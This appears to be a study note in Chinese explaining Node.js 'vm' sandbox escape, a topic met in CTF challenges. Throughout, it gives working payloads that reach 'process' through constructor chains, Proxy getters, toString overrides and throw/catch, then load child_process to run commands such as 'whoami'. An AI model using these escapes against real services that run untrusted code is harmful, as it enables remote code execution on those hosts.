NodeJS沙箱逃逸
两种主要的沙箱模式
一种是在当前global下创建一个作用域(sandbox),并将接收到的参数当作代码运行。

使用vm.runinThisContext(code)
const vm = require('vm');
global.z = 1;
const vmZ = vm.runInThisContext('z+=1');
console.log('vmZ:', vmZ);
console.log('localZ', z);
还有就是在当前global外再创建一个作用域,此时这个沙箱对象就是这个作用域的全局对象,沙箱内部无法访问global中的属性。

代表API:runInNewContext
const vm = require('vm');
global.z = 999;
const sandbox = {
x: 1,
y: 2
};
const code = 'z = x + y';
const result = vm.runInNewContext(code, sandbox);
console.log('sandboxZ:', sandbox.z);
console.log('globalZ:', z);
// sandboxZ: 3
// globalZ: 999
如何沙箱逃逸
沙箱逃逸在Node.js中的目标是获取对process对象的访问权限,因为它允许执行系统命令,进而实现RCE。在Node环境中,process对象是挂载在global对象上的。
但是,在使用vm.createContext()创建的沙箱环境中(就是上面的第二种),默认是无法直接访问到global对象的。因此,沙箱逃逸的主要目标是找到方法将global或process对象引入到沙箱中,从而实现RCE。
沙箱逃逸例子
const vm = require("vm");
const y1 = vm.runInNewContext(`this.constructor.constructor('return process')().mainModule.require('child_process').execSync('open -a Calculator')`);

runInNewContext中执行的代码可以分为两部分,首先是this.constructor.constructor('return process')(),其中:
this指向的是一个与沙箱上下文无关的对象this.constructor则指向创建该对象的构造函数this.constructor.constructor指向了Function的构造函数...('return process')()这是一个IIFE的格式,Function的构造函数创建了一个return process的函数,并立马执行。最终返回了一个process对象。
.mainModule.require('child_process').execSync('open -a Calculator')则是通过引入child_process弹了一个计算器。
this是什么
这段代码是可以逃逸的
const vm = require("vm");
const sandbox = {};
const script =
`this.constructor.constructor('return process')().mainModule.require('child_process').execSync('open -a Calculator')`;
const context = vm.createContext(sandbox);
const res = vm.runInContext(script, context);
但是将sandbox改为Object.create(null),出现了报错

sandbox变为null之后影响了process的获取,看了一些文章似乎this指的就是传入vm的沙箱对象,但似乎也不能直接将this与sandbox划等号

所以这里this所谓的“与沙箱上下文无关的对象”,到底是什么最后还是有点不清楚,总之先记住吧。
sandbox为null的情况
利用的方法
const vm = require("vm");
const sandbox = Object.create(null);
const script =
`(() => {
const a = {}
a.toString = function () {
const cc = arguments.callee.caller;
const p = (cc.constructor.constructor('return process'))();
return p.mainModule.require('child_process').execSync('whoami').toString()
}
return a
})()`;
const context = vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log('Hello ' + res)
首先script是一个IIFE的格式,函数返回了一个toString方法进过重写的a对象。
arguments.callee 和 arguments.callee.caller 都是 JavaScript 中的旧特性,并且在严格模式(strict mode)中已被禁用。
- arguments.callee: 引用了当前正在执行的函数。
- .caller: 引用了调用当前函数的函数。
那么在console.log('Hello ' + res)处,a的toString方法触发,进而实现了逃逸。
使用Proxy对象劫持属性触发
const vm = require("vm");
const sandbox = Object.create(null);
const script =
`(() =>{
const a = new Proxy({}, {
get: function(){
const cc = arguments.callee.caller;
const p = (cc.constructor.constructor('return process'))();
return p.mainModule.require('child_process').execSync('whoami').toString();
}
})
return a
})()`;
const context = vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log(res.abc)
throw+catch
const vm = require("vm");
const script =
`
throw new Proxy({}, {
get: function(){
const cc = arguments.callee.caller;
const p = (cc.constructor.constructor('return process'))();
return p.mainModule.require('child_process').execSync('whoami').toString();
}
})
`;
try {
vm.runInContext(script, vm.createContext(Object.create(null)));
}catch(e) {
console.log("error:" + e)
}
用catch捕获到了throw出的proxy对象,在console.log时由于将字符串与对象拼接,将报错信息和rce的回显一起带了出来。
关于上次的题目
简单回顾下之前那道startschool,就是一个很标准的沙箱绕过payload
this.constructor.constructor('return process')().mainModule.require('child_process').execSync(`echo "skysky" >> data.html`);

其他内容
后面还可以看看vm2沙箱啥的,遇到再说吧~
参考链接
NodeJS VM和VM2沙箱逃逸
nodejs沙箱与黑魔法
Sandboxing NodeJS is hard, here is why